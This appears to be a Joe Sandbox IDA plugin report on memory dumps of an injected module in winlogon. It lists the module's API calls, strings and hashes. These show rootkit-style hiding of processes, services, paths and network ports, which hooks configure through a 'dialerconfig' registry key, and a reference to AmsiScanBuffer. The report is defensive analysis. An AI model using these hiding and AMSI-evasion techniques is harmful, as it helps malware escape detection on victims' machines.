Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: eccdd21bcd0f5f67a7d4aa425ad47f9ef9ee03f6fd3ee1dab1865530e317391c
Instruction ID: 910fec881038d3e959c5cbd36d64231f1f330e05cf4666e0bbaa78b85f6841b8
Opcode Fuzzy Hash: eccdd21bcd0f5f67a7d4aa425ad47f9ef9ee03f6fd3ee1dab1865530e317391c
Instruction Fuzzy Hash: 3AF0309D301E24A1FE559BED955D3A552949F89F82F4CCC304D0A8BBC2EE3DC4C9C254

Non-executed Functions

Function 00000225DC672BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC672C98
lstrlenW.KERNEL32 ref: 00000225DC672EC2

Part of subcall function 00000225DC671934: OpenProcess.KERNEL32 ref: 00000225DC67195A
Part of subcall function 00000225DC671934: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC671978
Part of subcall function 00000225DC671934: PathFindFileNameW.SHLWAPI ref: 00000225DC671987
Part of subcall function 00000225DC671934: lstrlenW.KERNEL32 ref: 00000225DC671993
Part of subcall function 00000225DC671934: StrCpyW.SHLWAPI ref: 00000225DC6719A6
Part of subcall function 00000225DC671934: CloseHandle.KERNEL32 ref: 00000225DC6719B4

GetProcAddress.KERNEL32 ref: 00000225DC672CAD

Part of subcall function 00000225DC673C74: StrCmpNIW.SHLWAPI(?,?,?,00000225DC67254B), ref: 00000225DC673C8C

StrCmpNIW.SHLWAPI ref: 00000225DC672CF0
lstrlenW.KERNEL32 ref: 00000225DC672E18

Strings

ntdll.dll, xrefs: 00000225DC672C91
\Device\Nsi, xrefs: 00000225DC672CE3
NtQueryObject, xrefs: 00000225DC672CA3

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: ce62792369046bd4a70554c70a422cbbe4044552d12490b17b477eb1b2c5f5a3
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: E3B1B17A210EA0E2EB668FADD5087A9A3A4FB44B86F44D916EE4953BD4DF34CC41C740

Function 00000225DC642BF4 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 256stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000225DC642C98
lstrlenW.KERNEL32 ref: 00000225DC642EC2

Part of subcall function 00000225DC641934: OpenProcess.KERNEL32 ref: 00000225DC64195A
Part of subcall function 00000225DC641934: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641978
Part of subcall function 00000225DC641934: PathFindFileNameW.SHLWAPI ref: 00000225DC641987
Part of subcall function 00000225DC641934: lstrlenW.KERNEL32 ref: 00000225DC641993
Part of subcall function 00000225DC641934: StrCpyW.SHLWAPI ref: 00000225DC6419A6
Part of subcall function 00000225DC641934: CloseHandle.KERNEL32 ref: 00000225DC6419B4

GetProcAddress.KERNEL32 ref: 00000225DC642CAD

Part of subcall function 00000225DC643C74: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64254B), ref: 00000225DC643C8C

StrCmpNIW.SHLWAPI ref: 00000225DC642CF0
lstrlenW.KERNEL32 ref: 00000225DC642E18

Strings

\Device\Nsi, xrefs: 00000225DC642CE3
ntdll.dll, xrefs: 00000225DC642C91
NtQueryObject, xrefs: 00000225DC642CA3

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction ID: b73a31797632136bb9ee07bd0a057a1df3d581b16511b2f44c226dca76c5927e
Opcode Fuzzy Hash: eeb4c9d13e4d9331326a316f022dbcf34e2f04a28c739e06152b1c27ab991b03
Instruction Fuzzy Hash: 6CB1A57A21CEA0A1EBA69FEDD408799B3A4F744B86F64D056EE0A53794DF34CC41C340

Function 00000225DC6781C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6781DC
RtlCaptureContext.NTDLL ref: 00000225DC678209
RtlLookupFunctionEntry.NTDLL ref: 00000225DC678223
RtlVirtualUnwind.NTDLL ref: 00000225DC678264
IsDebuggerPresent.KERNEL32 ref: 00000225DC6782B8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6782D9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6782E4

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: f385fca171912b8a282d347bf93c3e0a6e4a279df09b91b5ef974fa9411efd51
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: F8314C76204F909AEB608FA4E8543ED7360F788746F84852ADB4E57B99DF38C648C710

Function 00000225DC6481C0 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000225DC6481DC
RtlCaptureContext.NTDLL ref: 00000225DC648209
RtlLookupFunctionEntry.NTDLL ref: 00000225DC648223
RtlVirtualUnwind.NTDLL ref: 00000225DC648264
IsDebuggerPresent.KERNEL32 ref: 00000225DC6482B8
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC6482D9
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC6482E4

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction ID: 471f790d7621a760121cfd2544642bdc87453e522d55ac33a6ee3fd36c7b4cc6
Opcode Fuzzy Hash: 83b7811ed3dfc20f87799ca4d6a8862c7cd88f8e2de3ef0f3c1075f59fefca25
Instruction Fuzzy Hash: 34316D76218F90DAEB608FA4E8543EE7364F788749F44812ADB4E47B99DF38C648C710

Function 00000225DC67D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC67D74D
RtlLookupFunctionEntry.NTDLL ref: 00000225DC67D765
RtlVirtualUnwind.NTDLL ref: 00000225DC67D7A0
IsDebuggerPresent.KERNEL32 ref: 00000225DC67D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC67D7E3
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC67D7EE

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 49bd029eac69f0a0934ead3ec5209e459d91f2263c268eeeb221ac77c1a5fc9f
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 8B31923A214F9096EB60CFA9E8443DE73A4F788795F504526EB8D47B98DF38C549CB00

Function 00000225DC64D6D4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000225DC64D74D
RtlLookupFunctionEntry.NTDLL ref: 00000225DC64D765
RtlVirtualUnwind.NTDLL ref: 00000225DC64D7A0
IsDebuggerPresent.KERNEL32 ref: 00000225DC64D7D9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D7E3
UnhandledExceptionFilter.KERNEL32 ref: 00000225DC64D7EE

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction ID: 1ee8b7da3a1ca6efd31af0da14551b6eac32b1645751b8169b469f92989e0ca2
Opcode Fuzzy Hash: 73b818fc325fecaacad8de34b866da11aee815d79a746152a1b7109c0a3c76cf
Instruction Fuzzy Hash: 6B31863A218F9096DB60DFA9E8443DE73A4F789795F504116EB9E43B98DF38C145CB00

Function 00000225DC671628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC671633
HeapAlloc.KERNEL32 ref: 00000225DC671642

Part of subcall function 00000225DC671268: GetProcessHeap.KERNEL32 ref: 00000225DC67126E
Part of subcall function 00000225DC671268: HeapAlloc.KERNEL32 ref: 00000225DC67127D
Part of subcall function 00000225DC671268: GetProcessHeap.KERNEL32 ref: 00000225DC671297
Part of subcall function 00000225DC671268: HeapAlloc.KERNEL32 ref: 00000225DC6712A8

Part of subcall function 00000225DC671000: GetProcessHeap.KERNEL32 ref: 00000225DC671006
Part of subcall function 00000225DC671000: HeapAlloc.KERNEL32 ref: 00000225DC671015
Part of subcall function 00000225DC671000: GetProcessHeap.KERNEL32 ref: 00000225DC671028
Part of subcall function 00000225DC671000: HeapAlloc.KERNEL32 ref: 00000225DC671037

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6716B2
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6716DF
RegCloseKey.ADVAPI32 ref: 00000225DC6716F9
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671719
RegCloseKey.ADVAPI32 ref: 00000225DC671734
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671754
RegCloseKey.ADVAPI32 ref: 00000225DC67176F
RegOpenKeyExW.ADVAPI32 ref: 00000225DC67178F
RegCloseKey.ADVAPI32 ref: 00000225DC6717AA
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6717CA
RegCloseKey.ADVAPI32 ref: 00000225DC6717E5
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671805
RegCloseKey.ADVAPI32 ref: 00000225DC671820
RegOpenKeyExW.ADVAPI32 ref: 00000225DC671840
RegCloseKey.ADVAPI32 ref: 00000225DC67185B
RegOpenKeyExW.ADVAPI32 ref: 00000225DC67187B
RegCloseKey.ADVAPI32 ref: 00000225DC671896
RegCloseKey.ADVAPI32 ref: 00000225DC6718A0

Part of subcall function 00000225DC6712BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC671319
Part of subcall function 00000225DC6712BC: GetProcessHeap.KERNEL32 ref: 00000225DC671327
Part of subcall function 00000225DC6712BC: HeapAlloc.KERNEL32 ref: 00000225DC671338
Part of subcall function 00000225DC6712BC: RegEnumValueW.ADVAPI32 ref: 00000225DC671397
Part of subcall function 00000225DC6712BC: GetProcessHeap.KERNEL32 ref: 00000225DC6713DF
Part of subcall function 00000225DC6712BC: HeapAlloc.KERNEL32 ref: 00000225DC6713ED
Part of subcall function 00000225DC6712BC: GetProcessHeap.KERNEL32 ref: 00000225DC67140A
Part of subcall function 00000225DC6712BC: HeapFree.KERNEL32 ref: 00000225DC671418
Part of subcall function 00000225DC6712BC: lstrlenW.KERNEL32 ref: 00000225DC671421
Part of subcall function 00000225DC6712BC: GetProcessHeap.KERNEL32 ref: 00000225DC67142F
Part of subcall function 00000225DC6712BC: HeapAlloc.KERNEL32 ref: 00000225DC67143D

Strings

tcp_local, xrefs: 00000225DC6717FE
SOFTWARE\dialerconfig, xrefs: 00000225DC671692
startup, xrefs: 00000225DC6716D5
pid, xrefs: 00000225DC671712
process_names, xrefs: 00000225DC67174D
udp, xrefs: 00000225DC671874
tcp_remote, xrefs: 00000225DC671839
paths, xrefs: 00000225DC671788
service_names, xrefs: 00000225DC6717C3

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction ID: 6f5e9873abe6b859c859981dc7bb1a2d7ad2eb1f0a69fd75e1d6ad85cbe13365
Opcode Fuzzy Hash: 50c73d645853b92a642b33fc6a066fdc959384cfa368f387aec294c2099e88a8
Instruction Fuzzy Hash: C9713F7A310E21A5EB10DFA9E89879D33B4FB84B8AF409512DE4E47BA9DF38C444C745

Function 00000225DC671D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC671D4B

Part of subcall function 00000225DC6720C4: GetModuleHandleA.KERNEL32(?,?,?,00000225DC671D7D), ref: 00000225DC6720DC
Part of subcall function 00000225DC6720C4: GetProcAddress.KERNEL32(?,?,?,00000225DC671D7D), ref: 00000225DC6720ED

Part of subcall function 00000225DC675F60: GetCurrentThreadId.KERNEL32 ref: 00000225DC675F9B

Strings

NtResumeThread, xrefs: 00000225DC671D8E
PdhGetRawCounterArrayW, xrefs: 00000225DC671E9C
amsi.dll, xrefs: 00000225DC671EE5
NtEnumerateKey, xrefs: 00000225DC671DE5
NtEnumerateValueKey, xrefs: 00000225DC671E02
AmsiScanBuffer, xrefs: 00000225DC671EDE
pdh.dll, xrefs: 00000225DC671EA3, 00000225DC671EC4
NtQueryDirectoryFileEx, xrefs: 00000225DC671DC8
EnumServiceGroupW, xrefs: 00000225DC671E1C
ntdll.dll, xrefs: 00000225DC671D59
sechost.dll, xrefs: 00000225DC671E65
EnumServicesStatusExW, xrefs: 00000225DC671E3D, 00000225DC671E5E
NtQueryDirectoryFile, xrefs: 00000225DC671DAB
NtQuerySystemInformation, xrefs: 00000225DC671D71
NtDeviceIoControlFile, xrefs: 00000225DC671E82
advapi32.dll, xrefs: 00000225DC671E23, 00000225DC671E44
PdhGetFormattedCounterArrayW, xrefs: 00000225DC671EBD

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: 7d9e9410253057828c97164bbf76050dc552e1cbcff0ece76988849bd7b629c7
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: A84184AC100D6BF0EA06EFDDE85DAD42325BB40B46F80CA13D5195B5F5AE78868EC361

Function 00000225DC641D40 Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000225DC641D4B

Part of subcall function 00000225DC6420C4: GetModuleHandleA.KERNEL32(?,?,?,00000225DC641D7D), ref: 00000225DC6420DC
Part of subcall function 00000225DC6420C4: GetProcAddress.KERNEL32(?,?,?,00000225DC641D7D), ref: 00000225DC6420ED

Part of subcall function 00000225DC645F60: GetCurrentThreadId.KERNEL32 ref: 00000225DC645F9B

Strings

NtQueryDirectoryFileEx, xrefs: 00000225DC641DC8
PdhGetFormattedCounterArrayW, xrefs: 00000225DC641EBD
NtQuerySystemInformation, xrefs: 00000225DC641D71
sechost.dll, xrefs: 00000225DC641E65
ntdll.dll, xrefs: 00000225DC641D59
EnumServicesStatusExW, xrefs: 00000225DC641E3D, 00000225DC641E5E
NtEnumerateKey, xrefs: 00000225DC641DE5
EnumServiceGroupW, xrefs: 00000225DC641E1C
NtDeviceIoControlFile, xrefs: 00000225DC641E82
AmsiScanBuffer, xrefs: 00000225DC641EDE
NtEnumerateValueKey, xrefs: 00000225DC641E02
pdh.dll, xrefs: 00000225DC641EA3, 00000225DC641EC4
PdhGetRawCounterArrayW, xrefs: 00000225DC641E9C
NtResumeThread, xrefs: 00000225DC641D8E
amsi.dll, xrefs: 00000225DC641EE5
advapi32.dll, xrefs: 00000225DC641E23, 00000225DC641E44
NtQueryDirectoryFile, xrefs: 00000225DC641DAB

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction ID: fb1bb4444b8dde758afb32b5cfceb91b3a49fcd79a0ac272923c45658421d9c1
Opcode Fuzzy Hash: 89246b417a86cb3eef481aa141f8dfd28da3205d5bec25beb87351269da72666
Instruction Fuzzy Hash: D041ECAC118DAAB0EB0ADFDDE9596D43365B740B4BFA0C093951A031B5AF78C28DC351

Function 00000225DC6712BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC671319
GetProcessHeap.KERNEL32 ref: 00000225DC671327
HeapAlloc.KERNEL32 ref: 00000225DC671338
RegEnumValueW.ADVAPI32 ref: 00000225DC671397

Part of subcall function 00000225DC67152C: StrCmpIW.SHLWAPI ref: 00000225DC67155D

GetProcessHeap.KERNEL32 ref: 00000225DC6713DF
HeapAlloc.KERNEL32 ref: 00000225DC6713ED
GetProcessHeap.KERNEL32 ref: 00000225DC67140A
HeapFree.KERNEL32 ref: 00000225DC671418
lstrlenW.KERNEL32 ref: 00000225DC671421
GetProcessHeap.KERNEL32 ref: 00000225DC67142F
HeapAlloc.KERNEL32 ref: 00000225DC67143D
StrCpyW.SHLWAPI ref: 00000225DC67145F
GetProcessHeap.KERNEL32 ref: 00000225DC671476
HeapFree.KERNEL32 ref: 00000225DC671484

Strings

d, xrefs: 00000225DC67135A

Memory Dump Source

Source File: 00000045.00000002.2939662789.00000225DC671000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC670000, based on PE: true

Associated: 00000045.00000002.2939578820.00000225DC670000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939785466.00000225DC686000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939886169.00000225DC691000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939983966.00000225DC693000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2940086783.00000225DC699000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc670000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction ID: 741972622163cab60b3485e42464ebd315fc6a01a3b4811f7fd075501a189d4f
Opcode Fuzzy Hash: cc1628f5bdf40f209b9d07d80321b7de87e74088023d72a2e45934eb7399fe90
Instruction Fuzzy Hash: 0C515076200F9496E754CFAAE44C35AB7A1FB88F9AF448125DB4A07B99DF3CC059C701

Function 00000225DC6412BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641319
GetProcessHeap.KERNEL32 ref: 00000225DC641327
HeapAlloc.KERNEL32 ref: 00000225DC641338
RegEnumValueW.ADVAPI32 ref: 00000225DC641397

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

GetProcessHeap.KERNEL32 ref: 00000225DC6413DF
HeapAlloc.KERNEL32 ref: 00000225DC6413ED
GetProcessHeap.KERNEL32 ref: 00000225DC64140A
HeapFree.KERNEL32 ref: 00000225DC641418
lstrlenW.KERNEL32 ref: 00000225DC641421
GetProcessHeap.KERNEL32 ref: 00000225DC64142F
HeapAlloc.KERNEL32 ref: 00000225DC64143D
StrCpyW.SHLWAPI ref: 00000225DC64145F
GetProcessHeap.KERNEL32 ref: 00000225DC641476
HeapFree.KERNEL32 ref: 00000225DC641484

Strings

d, xrefs: 00000225DC64135A

Memory Dump Source

Source File: 00000045.00000002.2939171436.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 00000045.00000002.2939090229.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939274526.00000225DC656000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939365246.00000225DC661000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939456794.00000225DC663000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000045.00000002.2939521092.00000225DC669000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_69_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
